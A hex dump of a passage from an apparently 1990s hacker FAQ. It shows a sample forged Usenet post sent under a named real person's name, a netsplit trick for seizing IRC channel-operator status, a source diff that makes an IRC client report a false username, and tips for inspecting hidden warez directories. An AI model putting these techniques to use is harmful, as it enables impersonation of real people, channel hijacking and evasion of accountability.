|00004320| 6f 6e 74 72 6f 6c 2d 44 | 3e 2e 0a 0a 45 78 61 6d |ontrol-D|>...Exam|
|00004330| 70 6c 65 3a 0a 0a 20 46 | 72 6f 6d 3a 20 45 72 69 |ple:.. F|rom: Eri|
|00004340| 63 20 53 2e 20 52 65 61 | 6c 0a 20 4e 65 77 73 67 |c S. Rea|l. Newsg|
|00004350| 72 6f 75 70 73 3a 20 61 | 6c 74 2e 68 61 63 6b 65 |roups: a|lt.hacke|
|00004360| 72 73 0a 20 53 75 62 6a | 65 63 74 3a 20 50 61 74 |rs. Subj|ect: Pat|
|00004370| 68 65 74 69 63 20 62 75 | 6e 63 68 20 6f 66 20 77 |hetic bu|nch of w|
|00004380| 61 6e 6e 61 62 65 20 6c | 6f 73 65 72 73 0a 20 4d |annabe l|osers. M|
|00004390| 65 73 73 61 67 65 2d 49 | 44 3a 20 3c 65 73 72 2e |essage-I|D: <esr.|
|000043a0| 31 32 33 40 6c 6f 63 6b | 65 2e 63 63 69 6c 2e 6f |123@lock|e.ccil.o|
|000043b0| 72 67 3e 0a 20 44 61 74 | 65 3a 20 46 72 69 2c 20 |rg>. Dat|e: Fri, |
|000043c0| 31 33 20 41 75 67 20 31 | 39 39 34 20 31 32 3a 31 |13 Aug 1|994 12:1|
|000043d0| 35 3a 30 33 0a 20 4f 72 | 67 61 6e 69 7a 61 74 69 |5:03. Or|ganizati|
|000043e0| 6f 6e 3a 20 4d 6f 72 61 | 6c 20 4d 61 6a 6f 72 69 |on: Mora|l Majori|
|000043f0| 74 79 0a 0a 20 41 20 70 | 61 74 68 65 74 69 63 20 |ty.. A p|athetic |
|00004400| 62 75 6e 63 68 20 6f 66 | 20 77 61 6e 6e 61 62 65 |bunch of| wannabe|
|00004410| 20 6c 6f 73 65 72 73 20 | 69 73 20 77 68 61 74 20 | losers |is what |
|00004420| 6d 6f 73 74 20 6f 66 20 | 79 6f 75 20 61 72 65 2c |most of |you are,|
|00004430| 20 77 69 74 68 20 6e 6f | 0a 20 72 69 67 68 74 20 | with no|. right |
|00004440| 74 6f 20 73 74 65 61 6c | 20 74 68 65 20 68 6f 6e |to steal| the hon|
|00004450| 6f 72 61 62 6c 65 20 74 | 69 74 6c 65 20 6f 66 20 |orable t|itle of |
|00004460| 60 68 61 63 6b 65 72 27 | 20 74 6f 20 70 75 66 66 |`hacker'| to puff|
|00004470| 20 75 70 20 79 6f 75 72 | 20 73 69 6c 6c 79 0a 20 | up your| silly. |
|00004480| 61 64 6f 6c 65 73 63 65 | 6e 74 20 65 67 6f 73 2e |adolesce|nt egos.|
|00004490| 20 47 65 74 20 73 74 75 | 66 66 65 64 2c 20 67 65 | Get stu|ffed, ge|
|000044a0| 74 20 6c 6f 73 74 2c 20 | 61 6e 64 20 67 6f 20 74 |t lost, |and go t|
|000044b0| 6f 20 6a 61 69 6c 2e 0a | 0a 20 20 20 20 20 20 20 |o jail..|. |
|000044c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000044d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000044e0| 20 45 72 69 63 20 53 2e | 20 52 65 61 6c 20 3c 65 | Eric S.| Real <e|
|000044f0| 73 72 40 6c 6f 63 6b 65 | 2e 63 63 69 6c 2e 6f 72 |sr@locke|.ccil.or|
|00004500| 67 3e 0a 0a 0a 20 5e 44 | 0a 0a 4e 6f 74 65 20 74 |g>... ^D|..Note t|
|00004510| 68 61 74 20 6d 61 6e 79 | 20 73 79 73 74 65 6d 73 |hat many| systems|
|00004520| 20 77 69 6c 6c 20 61 70 | 70 65 6e 64 20 61 6e 20 | will ap|pend an |
|00004530| 4f 72 69 67 69 6e 61 74 | 6f 72 3a 20 6c 69 6e 65 |Originat|or: line|
|00004540| 20 74 6f 20 79 6f 75 72 | 20 6d 65 73 73 61 67 65 | to your| message|
|00004550| 0a 68 65 61 64 65 72 2c | 20 65 66 66 65 63 74 69 |.header,| effecti|
|00004560| 76 65 6c 79 20 72 65 76 | 65 61 6c 69 6e 67 20 74 |vely rev|ealing t|
|00004570| 68 65 20 61 63 63 6f 75 | 6e 74 20 66 72 6f 6d 20 |he accou|nt from |
|00004580| 77 68 69 63 68 20 74 68 | 65 20 6d 65 73 73 61 67 |which th|e messag|
|00004590| 65 20 77 61 73 0a 70 6f | 73 74 65 64 2e 0a 0a 0a |e was.po|sted....|
|000045a0| 31 34 2e 20 48 6f 77 20 | 64 6f 20 49 20 68 61 63 |14. How |do I hac|
|000045b0| 6b 20 43 68 61 6e 4f 70 | 20 6f 6e 20 49 52 43 3f |k ChanOp| on IRC?|
|000045c0| 0a 0a 46 69 6e 64 20 61 | 20 73 65 72 76 65 72 20 |..Find a| server |
|000045d0| 74 68 61 74 20 69 73 20 | 73 70 6c 69 74 20 66 72 |that is |split fr|
|000045e0| 6f 6d 20 74 68 65 20 72 | 65 73 74 20 6f 66 20 49 |om the r|est of I|
|000045f0| 52 43 20 61 6e 64 20 63 | 72 65 61 74 65 20 79 6f |RC and c|reate yo|
|00004600| 75 72 20 6f 77 6e 0a 63 | 68 61 6e 6e 65 6c 20 74 |ur own.c|hannel t|
|00004610| 68 65 72 65 20 75 73 69 | 6e 67 20 74 68 65 20 6e |here usi|ng the n|
|00004620| 61 6d 65 20 6f 66 20 74 | 68 65 20 63 68 61 6e 6e |ame of t|he chann|
|00004630| 65 6c 20 79 6f 75 20 77 | 61 6e 74 20 43 68 61 6e |el you w|ant Chan|
|00004640| 4f 70 20 6f 6e 2e 20 20 | 57 68 65 6e 0a 74 68 61 |Op on. |When.tha|
|00004650| 74 20 73 65 72 76 65 72 | 20 72 65 63 6f 6e 6e 65 |t server| reconne|
|00004660| 63 74 73 20 74 6f 20 74 | 68 65 20 6e 65 74 2c 20 |cts to t|he net, |
|00004670| 79 6f 75 20 77 69 6c 6c | 20 68 61 76 65 20 43 68 |you will| have Ch|
|00004680| 61 6e 4f 70 20 6f 6e 20 | 74 68 65 20 72 65 61 6c |anOp on |the real|
|00004690| 0a 63 68 61 6e 6e 65 6c | 2e 20 20 49 66 20 79 6f |.channel|. If yo|
|000046a0| 75 20 68 61 76 65 20 53 | 65 72 76 65 72 4f 70 20 |u have S|erverOp |
|000046b0| 6f 6e 20 61 20 73 65 72 | 76 65 72 2c 20 79 6f 75 |on a ser|ver, you|
|000046c0| 20 63 61 6e 20 63 61 75 | 73 65 20 69 74 20 74 6f | can cau|se it to|
|000046d0| 20 73 70 6c 69 74 0a 6f | 6e 20 70 75 72 70 6f 73 | split.o|n purpos|
|000046e0| 65 2e 0a 0a 0a 31 35 2e | 20 48 6f 77 20 64 6f 20 |e....15.| How do |
|000046f0| 49 20 6d 6f 64 69 66 79 | 20 74 68 65 20 49 52 43 |I modify| the IRC|
|00004700| 20 63 6c 69 65 6e 74 20 | 74 6f 20 68 69 64 65 20 | client |to hide |
|00004710| 6d 79 20 72 65 61 6c 20 | 75 73 65 72 6e 61 6d 65 |my real |username|
|00004720| 3f 0a 0a 47 65 74 20 74 | 68 65 20 49 52 43 20 63 |?..Get t|he IRC c|
|00004730| 6c 69 65 6e 74 20 66 72 | 6f 6d 20 63 73 2e 62 75 |lient fr|om cs.bu|
|00004740| 2e 65 64 75 20 2f 69 72 | 63 2f 63 6c 69 65 6e 74 |.edu /ir|c/client|
|00004750| 73 2e 20 20 4c 6f 6f 6b | 20 61 74 20 74 68 65 20 |s. Look| at the |
|00004760| 73 6f 75 72 63 65 0a 63 | 6f 64 65 20 66 69 6c 65 |source.c|ode file|
|00004770| 73 20 69 72 63 2e 63 20 | 61 6e 64 20 63 74 63 70 |s irc.c |and ctcp|
|00004780| 2e 63 2e 20 20 54 68 65 | 20 63 6f 64 65 20 79 6f |.c. The| code yo|
|00004790| 75 20 61 72 65 20 6c 6f | 6f 6b 69 6e 67 20 66 6f |u are lo|oking fo|
|000047a0| 72 20 69 73 20 66 61 69 | 72 6c 79 0a 65 61 73 79 |r is fai|rly.easy|
|000047b0| 20 74 6f 20 73 70 6f 74 | 2e 20 20 43 68 61 6e 67 | to spot|. Chang|
|000047c0| 65 20 69 74 2e 20 43 68 | 61 6e 67 65 20 74 68 65 |e it. Ch|ange the|
|000047d0| 20 75 73 65 72 6e 61 6d | 65 20 63 6f 64 65 20 69 | usernam|e code i|
|000047e0| 6e 20 69 72 63 2e 63 20 | 61 6e 64 20 74 68 65 0a |n irc.c |and the.|
|000047f0| 63 74 63 70 20 69 6e 66 | 6f 72 6d 61 74 69 6f 6e |ctcp inf|ormation|
|00004800| 20 63 6f 64 65 20 69 6e | 20 63 74 63 70 2e 63 2e | code in| ctcp.c.|
|00004810| 20 20 43 6f 6d 70 69 6c | 65 20 61 6e 64 20 72 75 | Compil|e and ru|
|00004820| 6e 20 79 6f 75 72 20 63 | 6c 69 65 6e 74 2e 0a 0a |n your c|lient...|
|00004830| 48 65 72 65 20 61 72 65 | 20 74 68 65 20 64 69 66 |Here are| the dif|
|00004840| 66 73 20 66 72 6f 6d 20 | 61 20 73 61 6d 70 6c 65 |fs from |a sample|
|00004850| 20 68 61 63 6b 20 6f 66 | 20 74 68 65 20 49 52 43 | hack of| the IRC|
|00004860| 20 63 6c 69 65 6e 74 2e | 20 20 59 6f 75 72 20 63 | client.| Your c|
|00004870| 6c 69 65 6e 74 0a 63 6f | 64 65 20 77 69 6c 6c 20 |lient.co|de will |
|00004880| 76 61 72 79 20 73 6c 69 | 67 68 74 6c 79 20 64 65 |vary sli|ghtly de|
|00004890| 70 65 6e 64 69 6e 67 20 | 6f 6e 20 77 68 61 74 20 |pending |on what |
|000048a0| 49 52 43 20 63 6c 69 65 | 6e 74 20 76 65 72 73 69 |IRC clie|nt versi|
|000048b0| 6f 6e 20 79 6f 75 20 61 | 72 65 0a 72 75 6e 6e 69 |on you a|re.runni|
|000048c0| 6e 67 2e 0a 0a 2a 2a 2a | 20 63 74 63 70 2e 63 2e |ng...***| ctcp.c.|
|000048d0| 6f 6c 64 20 20 57 65 64 | 20 46 65 62 20 31 30 20 |old Wed| Feb 10 |
|000048e0| 31 30 3a 30 38 3a 30 35 | 20 31 39 39 33 0a 2d 2d |10:08:05| 1993.--|
|000048f0| 2d 20 63 74 63 70 2e 63 | 20 20 20 20 20 20 46 72 |- ctcp.c| Fr|
|00004900| 69 20 46 65 62 20 31 32 | 20 30 34 3a 33 33 3a 35 |i Feb 12| 04:33:5|
|00004910| 35 20 31 39 39 33 0a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |5 1993.*|********|
|00004920| 2a 2a 2a 2a 2a 2a 0a 2a | 2a 2a 20 33 33 31 2c 33 |******.*|** 331,3|
|00004930| 33 37 20 2a 2a 2a 2a 0a | 09 73 74 72 75 63 74 20 |37 ****.|.struct |
|00004940| 20 70 61 73 73 77 64 20 | 20 2a 70 77 64 3b 0a 09 | passwd | *pwd;..|
|00004950| 6c 6f 6e 67 20 20 20 20 | 64 69 66 66 3b 0a 09 69 |long |diff;..i|
|00004960| 6e 74 20 20 20 20 20 75 | 69 64 3b 0a 21 20 20 20 |nt u|id;.! |
|00004970| 20 20 20 20 63 68 61 72 | 20 20 20 20 63 3b 0a 20 | char| c;. |
|00004980| 20 0a 09 2f 2a 0a 09 20 | 2a 20 73 6f 6a 67 65 20 | ../*.. |* sojge |
|00004990| 63 6f 6d 70 6c 61 69 6e | 65 64 20 74 68 61 74 20 |complain|ed that |
|000049a0| 69 72 63 49 49 20 73 61 | 79 73 20 27 69 64 6c 65 |ircII sa|ys 'idle|
|000049b0| 20 31 20 73 65 63 6f 6e | 64 73 27 0a 2d 2d 2d 20 | 1 secon|ds'.--- |
|000049c0| 33 33 31 2c 33 33 37 20 | 2d 2d 2d 2d 0a 09 73 74 |331,337 |----..st|
|000049d0| 72 75 63 74 20 20 70 61 | 73 73 77 64 20 20 2a 70 |ruct pa|sswd *p|
|000049e0| 77 64 3b 0a 09 6c 6f 6e | 67 20 20 20 20 64 69 66 |wd;..lon|g dif|
|000049f0| 66 3b 0a 09 69 6e 74 20 | 20 20 20 20 75 69 64 3b |f;..int | uid;|
|00004a00| 0a 21 20 20 20 20 20 20 | 20 63 68 61 72 20 20 20 |.! | char |
|00004a10| 20 63 2c 20 2a 66 69 6e | 67 3b 0a 20 20 0a 09 2f | c, *fin|g;. ../|
|00004a20| 2a 0a 09 20 2a 20 73 6f | 6a 67 65 20 63 6f 6d 70 |*.. * so|jge comp|
|00004a30| 6c 61 69 6e 65 64 20 74 | 68 61 74 20 69 72 63 49 |lained t|hat ircI|
|00004a40| 49 20 73 61 79 73 20 27 | 69 64 6c 65 20 31 20 73 |I says '|idle 1 s|
|00004a50| 65 63 6f 6e 64 73 27 0a | 2a 2a 2a 2a 2a 2a 2a 2a |econds'.|********|
|00004a60| 2a 2a 2a 2a 2a 2a 2a 0a | 2a 2a 2a 20 33 34 38 2c |*******.|*** 348,|
|00004a70| 33 35 34 20 2a 2a 2a 2a | 0a 09 69 66 20 28 75 69 |354 ****|..if (ui|
|00004a80| 64 20 21 3d 20 44 41 45 | 4d 4f 4e 5f 55 49 44 29 |d != DAE|MON_UID)|
|00004a90| 0a 09 7b 0a 20 20 23 65 | 6e 64 69 66 20 2f 2a 20 |..{. #e|ndif /* |
|00004aa0| 44 41 45 4d 4f 4e 5f 55 | 49 44 20 2a 2f 20 20 20 |DAEMON_U|ID */ |
|00004ab0| 20 20 20 20 0a 21 20 20 | 20 20 20 20 20 20 20 20 | .! | |
|00004ac0| 20 20 20 20 20 69 66 20 | 28 70 77 64 20 3d 20 67 | if |(pwd = g|
|00004ad0| 65 74 70 77 75 69 64 28 | 75 69 64 29 29 0a 09 09 |etpwuid(|uid))...|
|00004ae0| 7b 0a 09 09 09 63 68 61 | 72 20 20 20 20 2a 74 6d |{....cha|r *tm|
|00004af0| 70 3b 0a 20 20 0a 2d 2d | 2d 20 33 34 38 2c 33 35 |p;. .--|- 348,35|
|00004b00| 36 20 2d 2d 2d 2d 0a 09 | 69 66 20 28 75 69 64 20 |6 ----..|if (uid |
|00004b10| 21 3d 20 44 41 45 4d 4f | 4e 5f 55 49 44 29 0a 09 |!= DAEMO|N_UID)..|
|00004b20| 7b 0a 20 20 23 65 6e 64 | 69 66 20 2f 2a 20 44 41 |{. #end|if /* DA|
|00004b30| 45 4d 4f 4e 5f 55 49 44 | 20 2a 2f 20 20 20 20 20 |EMON_UID| */ |
|00004b40| 20 20 0a 21 20 20 20 20 | 20 20 20 20 20 20 20 20 | .! | |
|00004b50| 20 20 20 69 66 20 28 66 | 69 6e 67 20 3d 20 67 65 | if (f|ing = ge|
|00004b60| 74 65 6e 76 28 22 49 52 | 43 46 49 4e 47 45 52 22 |tenv("IR|CFINGER"|
|00004b70| 29 29 0a 21 20 20 20 20 | 20 20 20 20 20 20 20 20 |)).! | |
|00004b80| 20 20 20 20 20 20 20 20 | 20 20 20 73 65 6e 64 5f | | send_|
|00004b90| 63 74 63 70 5f 72 65 70 | 6c 79 28 66 72 6f 6d 2c |ctcp_rep|ly(from,|
|00004ba0| 20 63 74 63 70 2d 3e 6e | 61 6d 65 2c 20 66 69 6e | ctcp->n|ame, fin|
|00004bb0| 67 2c 20 64 69 66 66 2c | 20 63 29 3b 0a 21 20 20 |g, diff,| c);.! |
|00004bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 65 6c 73 | | els|
|00004bd0| 65 20 69 66 20 28 70 77 | 64 20 3d 20 67 65 74 70 |e if (pw|d = getp|
|00004be0| 77 75 69 64 28 75 69 64 | 29 29 0a 09 09 7b 0a 09 |wuid(uid|))...{..|
|00004bf0| 09 09 63 68 61 72 20 20 | 20 20 2a 74 6d 70 3b 0a |..char | *tmp;.|
|00004c00| 20 20 0a 2a 2a 2a 20 69 | 72 63 2e 63 2e 6f 6c 64 | .*** i|rc.c.old|
|00004c10| 20 20 20 57 65 64 20 46 | 65 62 20 31 30 20 30 36 | Wed F|eb 10 06|
|00004c20| 3a 33 33 3a 31 31 20 31 | 39 39 33 0a 2d 2d 2d 20 |:33:11 1|993.--- |
|00004c30| 69 72 63 2e 63 20 20 20 | 20 20 20 20 46 72 69 20 |irc.c | Fri |
|00004c40| 46 65 62 20 31 32 20 30 | 34 3a 30 32 3a 31 31 20 |Feb 12 0|4:02:11 |
|00004c50| 31 39 39 33 0a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |1993.***|********|
|00004c60| 2a 2a 2a 2a 0a 2a 2a 2a | 20 35 31 30 2c 35 31 36 |****.***| 510,516|
|00004c70| 20 2a 2a 2a 2a 0a 09 09 | 6d 61 6c 6c 6f 63 5f 73 | ****...|malloc_s|
|00004c80| 74 72 63 70 79 28 26 6d | 79 5f 70 61 74 68 2c 20 |trcpy(&m|y_path, |
|00004c90| 22 2f 22 29 3b 0a 09 69 | 66 20 28 2a 72 65 61 6c |"/");..i|f (*real|
|00004ca0| 6e 61 6d 65 20 3d 3d 20 | 6e 75 6c 6c 28 63 68 61 |name == |null(cha|
|00004cb0| 72 29 29 0a 09 09 73 74 | 72 6d 63 70 79 28 72 65 |r))...st|rmcpy(re|
|00004cc0| 61 6c 6e 61 6d 65 2c 20 | 22 2a 55 6e 6b 6e 6f 77 |alname, |"*Unknow|
|00004cd0| 6e 2a 22 2c 20 52 45 41 | 4c 4e 41 4d 45 5f 4c 45 |n*", REA|LNAME_LE|
|00004ce0| 4e 29 3b 0a 21 20 20 20 | 20 20 20 20 69 66 20 28 |N);.! | if (|
|00004cf0| 2a 75 73 65 72 6e 61 6d | 65 20 3d 3d 20 6e 75 6c |*usernam|e == nul|
|00004d00| 6c 28 63 68 61 72 29 29 | 0a 09 7b 0a 09 09 69 66 |l(char))|..{...if|
|00004d10| 20 28 70 74 72 20 3d 20 | 67 65 74 65 6e 76 28 22 | (ptr = |getenv("|
|00004d20| 55 53 45 52 22 29 29 0a | 09 09 09 73 74 72 6d 63 |USER")).|...strmc|
|00004d30| 70 79 28 75 73 65 72 6e | 61 6d 65 2c 20 70 74 72 |py(usern|ame, ptr|
|00004d40| 2c 20 4e 41 4d 45 5f 4c | 45 4e 29 3b 0a 2d 2d 2d |, NAME_L|EN);.---|
|00004d50| 20 35 31 30 2c 35 31 38 | 20 2d 2d 2d 2d 0a 09 09 | 510,518| ----...|
|00004d60| 6d 61 6c 6c 6f 63 5f 73 | 74 72 63 70 79 28 26 6d |malloc_s|trcpy(&m|
|00004d70| 79 5f 70 61 74 68 2c 20 | 22 2f 22 29 3b 0a 09 69 |y_path, |"/");..i|
|00004d80| 66 20 28 2a 72 65 61 6c | 6e 61 6d 65 20 3d 3d 20 |f (*real|name == |
|00004d90| 6e 75 6c 6c 28 63 68 61 | 72 29 29 0a 09 09 73 74 |null(cha|r))...st|
|00004da0| 72 6d 63 70 79 28 72 65 | 61 6c 6e 61 6d 65 2c 20 |rmcpy(re|alname, |
|00004db0| 22 2a 55 6e 6b 6e 6f 77 | 6e 2a 22 2c 20 52 45 41 |"*Unknow|n*", REA|
|00004dc0| 4c 4e 41 4d 45 5f 4c 45 | 4e 29 3b 0a 21 20 20 20 |LNAME_LE|N);.! |
|00004dd0| 20 20 20 20 69 66 20 28 | 70 74 72 20 3d 20 67 65 | if (|ptr = ge|
|00004de0| 74 65 6e 76 28 22 49 52 | 43 55 53 45 52 22 29 29 |tenv("IR|CUSER"))|
|00004df0| 0a 21 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.! | |
|00004e00| 20 73 74 72 6d 63 70 79 | 28 75 73 65 72 6e 61 6d | strmcpy|(usernam|
|00004e10| 65 2c 20 70 74 72 2c 20 | 4e 41 4d 45 5f 4c 45 4e |e, ptr, |NAME_LEN|
|00004e20| 29 3b 0a 21 20 20 20 20 | 20 20 20 65 6c 73 65 20 |);.! | else |
|00004e30| 69 66 20 28 2a 75 73 65 | 72 6e 61 6d 65 20 3d 3d |if (*use|rname ==|
|00004e40| 20 6e 75 6c 6c 28 63 68 | 61 72 29 29 0a 09 7b 0a | null(ch|ar))..{.|
|00004e50| 09 09 69 66 20 28 70 74 | 72 20 3d 20 67 65 74 65 |..if (pt|r = gete|
|00004e60| 6e 76 28 22 55 53 45 52 | 22 29 29 0a 09 09 09 73 |nv("USER|"))....s|
|00004e70| 74 72 6d 63 70 79 28 75 | 73 65 72 6e 61 6d 65 2c |trmcpy(u|sername,|
|00004e80| 20 70 74 72 2c 20 4e 41 | 4d 45 5f 4c 45 4e 29 3b | ptr, NA|ME_LEN);|
|00004e90| 0a 0a 0a 31 36 2e 20 48 | 6f 77 20 74 6f 20 49 20 |...16. H|ow to I |
|00004ea0| 63 68 61 6e 67 65 20 74 | 6f 20 64 69 72 65 63 74 |change t|o direct|
|00004eb0| 6f 72 69 65 73 20 77 69 | 74 68 20 73 74 72 61 6e |ories wi|th stran|
|00004ec0| 67 65 20 63 68 61 72 61 | 63 74 65 72 73 20 69 6e |ge chara|cters in|
|00004ed0| 20 74 68 65 6d 3f 0a 0a | 54 68 65 73 65 20 64 69 | them?..|These di|
|00004ee0| 72 65 63 74 6f 72 69 65 | 73 20 61 72 65 20 6f 66 |rectorie|s are of|
|00004ef0| 74 65 6e 20 75 73 65 64 | 20 62 79 20 70 65 6f 70 |ten used| by peop|
|00004f00| 6c 65 20 74 72 79 69 6e | 67 20 74 6f 20 68 69 64 |le tryin|g to hid|
|00004f10| 65 20 69 6e 66 6f 72 6d | 61 74 69 6f 6e 2c 0a 6d |e inform|ation,.m|
|00004f20| 6f 73 74 20 6f 66 74 65 | 6e 20 77 61 72 65 7a 20 |ost ofte|n warez |
|00004f30| 28 63 6f 6d 6d 65 72 63 | 69 61 6c 20 73 6f 66 74 |(commerc|ial soft|
|00004f40| 77 61 72 65 29 2e 0a 0a | 54 68 65 72 65 20 61 72 |ware)...|There ar|
|00004f50| 65 20 73 65 76 65 72 61 | 6c 20 74 68 69 6e 67 73 |e severa|l things|
|00004f60| 20 79 6f 75 20 63 61 6e | 20 64 6f 20 74 6f 20 64 | you can| do to d|
|00004f70| 65 74 65 72 6d 69 6e 65 | 20 77 68 61 74 20 74 68 |etermine| what th|
|00004f80| 65 73 65 20 73 74 72 61 | 6e 67 65 0a 63 68 61 72 |ese stra|nge.char|
|00004f90| 61 63 74 65 72 73 20 61 | 72 65 2e 20 20 4f 6e 65 |acters a|re. One|
|00004fa0| 20 69 73 20 74 6f 20 75 | 73 65 20 74 68 65 20 61 | is to u|se the a|
|00004fb0| 72 67 75 6d 65 6e 74 73 | 20 74 6f 20 74 68 65 20 |rguments| to the |
|00004fc0| 6c 73 20 63 6f 6d 6d 61 | 6e 64 20 74 68 61 74 0a |ls comma|nd that.|
|00004fd0| 63 61 75 73 65 20 6c 73 | 20 74 6f 20 67 69 76 65 |cause ls| to give|
|00004fe0| 20 79 6f 75 20 6d 6f 72 | 65 20 69 6e 66 6f 72 6d | you mor|e inform|
|00004ff0| 61 74 69 6f 6e 3a 0a 0a | 46 72 6f 6d 20 74 68 65 |ation:..|From the|
|00005000| 20 6d 61 6e 20 70 61 67 | 65 20 66 6f 72 20 6c 73 | man pag|e for ls|
|00005010| 3a 0a 0a 20 20 20 20 2d | 46 20 20 20 43 61 75 73 |:.. -|F Caus|
|00005020| 65 73 20 64 69 72 65 63 | 74 6f 72 69 65 73 20 74 |es direc|tories t|
|00005030| 6f 20 62 65 20 6d 61 72 | 6b 65 64 20 77 69 74 68 |o be mar|ked with|
|00005040| 20 61 20 74 72 61 69 6c | 69 6e 67 20 60 60 2f 27 | a trail|ing ``/'|
|00005050| 27 2c 0a 09 20 65 78 65 | 63 75 74 61 62 6c 65 20 |',.. exe|cutable |
|00005060| 66 69 6c 65 73 20 74 6f | 20 62 65 20 6d 61 72 6b |files to| be mark|
|00005070| 65 64 20 77 69 74 68 20 | 61 20 74 72 61 69 6c 69 |ed with |a traili|
|00005080| 6e 67 20 60 60 2a 27 27 | 2c 20 61 6e 64 0a 09 20 |ng ``*''|, and.. |
|00005090| 73 79 6d 62 6f 6c 69 63 | 20 6c 69 6e 6b 73 20 74 |symbolic| links t|
|000050a0| 6f 20 62 65 20 6d 61 72 | 6b 65 64 20 77 69 74 68 |o be mar|ked with|
|000050b0| 20 61 20 74 72 61 69 6c | 69 6e 67 20 60 60 40 27 | a trail|ing ``@'|
|000050c0| 27 20 73 79 6d 62 6f 6c | 2e 0a 0a 20 20 20 20 2d |' symbol|... -|
|000050d0| 71 20 20 20 46 6f 72 63 | 65 73 20 70 72 69 6e 74 |q Forc|es print|
|000050e0| 69 6e 67 20 6f 66 20 6e | 6f 6e 2d 67 72 61 70 68 |ing of n|on-graph|
|000050f0| 69 63 20 63 68 61 72 61 | 63 74 65 72 73 20 69 6e |ic chara|cters in|
|00005100| 20 66 69 6c 65 6e 61 6d | 65 73 20 61 73 20 74 68 | filenam|es as th|
|00005110| 65 0a 09 20 63 68 61 72 | 61 63 74 65 72 20 60 60 |e.. char|acter ``|
|00005120| 3f 27 27 2e 0a 0a 20 20 | 20 20 2d 62 20 20 20 46 |?''... | -b F|
|00005130| 6f 72 63 65 73 20 70 72 | 69 6e 74 69 6e 67 20 6f |orces pr|inting o|
|00005140| 66 20 6e 6f 6e 2d 67 72 | 61 70 68 69 63 20 63 68 |f non-gr|aphic ch|
|00005150| 61 72 61 63 74 65 72 73 | 20 69 6e 20 74 68 65 20 |aracters| in the |
|00005160| 5c 64 64 64 0a 09 20 6e | 6f 74 61 74 69 6f 6e 2c |\ddd.. n|otation,|
|00005170| 20 69 6e 20 6f 63 74 61 | 6c 2e 0a 0a 50 65 72 68 | in octa|l...Perh|
|00005180| 61 70 73 20 74 68 65 20 | 6d 6f 73 74 20 75 73 65 |aps the |most use|
|00005190| 66 75 6c 20 74 6f 6f 6c | 20 69 73 20 74 6f 20 73 |ful tool| is to s|
|000051a0| 69 6d 70 6c 79 20 64 6f | 20 61 6e 20 22 6c 73 20 |imply do| an "ls |
|000051b0| 2d 61 6c 20 66 69 6c 65 | 6e 61 6d 65 22 20 74 6f |-al file|name" to|
|000051c0| 0a 73 61 76 65 20 74 68 | 65 20 64 69 72 65 63 74 |.save th|e direct|
|000051d0| 6f 72 79 20 6f 66 20 74 | 68 65 20 72 65 6d 6f 74 |ory of t|he remot|
|000051e0| 65 20 66 74 70 20 73 69 | 74 65 20 61 73 20 61 20 |e ftp si|te as a |
|000051f0| 66 69 6c 65 20 6f 6e 20 | 79 6f 75 72 20 6c 6f 63 |file on |your loc|
|00005200| 61 6c 0a 6d 61 63 68 69 | 6e 65 2e 20 20 54 68 65 |al.machi|ne. The|
|00005210| 6e 20 79 6f 75 20 63 61 | 6e 20 64 6f 20 61 20 22 |n you ca|n do a "|
|00005220| 63 61 74 20 2d 74 20 2d | 76 20 2d 65 20 66 69 6c |cat -t -|v -e fil|
|00005230| 65 6e 61 6d 65 22 20 74 | 6f 6f 20 73 65 65 20 65 |ename" t|oo see e|
|00005240| 78 61 63 74 6c 79 0a 77 | 68 61 74 20 74 68 6f 73 |xactly.w|hat thos|
|00005250| 65 20 62 69 7a 61 72 72 | 65 20 6c 69 74 74 6c 65 |e bizarr|e little|
|00005260| 20 63 68 61 72 61 63 74 | 65 72 73 20 61 72 65 2e | charact|ers are.|
|00005270| 0a 0a 46 72 6f 6d 20 74 | 68 65 20 6d 61 6e 20 70 |..From t|he man p|
|00005280| 61 67 65 20 66 6f 72 20 | 63 61 74 3a 0a 0a 20 20 |age for |cat:.. |
|00005290| 20 20 2d 76 20 20 43 61 | 75 73 65 73 20 6e 6f 6e | -v Ca|uses non|
|000052a0| 2d 70 72 69 6e 74 69 6e | 67 20 63 68 61 72 61 63 |-printin|g charac|
|000052b0| 74 65 72 73 20 28 77 69 | 74 68 20 74 68 65 20 65 |ters (wi|th the e|
|000052c0| 78 63 65 70 74 69 6f 6e | 20 6f 66 20 74 61 62 73 |xception| of tabs|
|000052d0| 2c 0a 09 6e 65 77 6c 69 | 6e 65 73 2c 20 61 6e 64 |,..newli|nes, and|
|000052e0| 20 66 6f 72 6d 20 66 65 | 65 64 73 29 20 74 6f 20 | form fe|eds) to |
|000052f0| 62 65 20 64 69 73 70 6c | 61 79 65 64 2e 20 20 43 |be displ|ayed. C|
|00005300| 6f 6e 74 72 6f 6c 20 63 | 68 61 72 61 63 74 65 72 |ontrol c|haracter|
|00005310| 73 0a 09 61 72 65 20 64 | 69 73 70 6c 61 79 65 64 |s..are d|isplayed|
|00005320| 20 61 73 20 5e 58 20 28 | 3c 43 74 72 6c 3e 78 29 | as ^X (|<Ctrl>x)|
|00005330| 2c 20 77 68 65 72 65 20 | 58 20 69 73 20 74 68 65 |, where |X is the|
|00005340| 20 6b 65 79 20 70 72 65 | 73 73 65 64 20 77 69 74 | key pre|ssed wit|
|00005350| 68 0a 09 74 68 65 20 3c | 43 74 72 6c 3e 20 6b 65 |h..the <|Ctrl> ke|
|00005360| 79 20 28 66 6f 72 20 65 | 78 61 6d 70 6c 65 2c 20 |y (for e|xample, |
|00005370| 3c 43 74 72 6c 3e 6d 20 | 69 73 20 64 69 73 70 6c |<Ctrl>m |is displ|
|00005380| 61 79 65 64 20 61 73 20 | 5e 4d 29 2e 20 20 54 68 |ayed as |^M). Th|
|00005390| 65 0a 09 3c 44 65 6c 3e | 20 63 68 61 72 61 63 74 |e..<Del>| charact|
|000053a0| 65 72 20 28 6f 63 74 61 | 6c 20 30 31 37 37 29 20 |er (octa|l 0177) |
|000053b0| 69 73 20 70 72 69 6e 74 | 65 64 20 61 73 20 5e 3f |is print|ed as ^?|
|000053c0| 2e 20 20 4e 6f 6e 2d 41 | 53 43 49 49 0a 09 63 68 |. Non-A|SCII..ch|
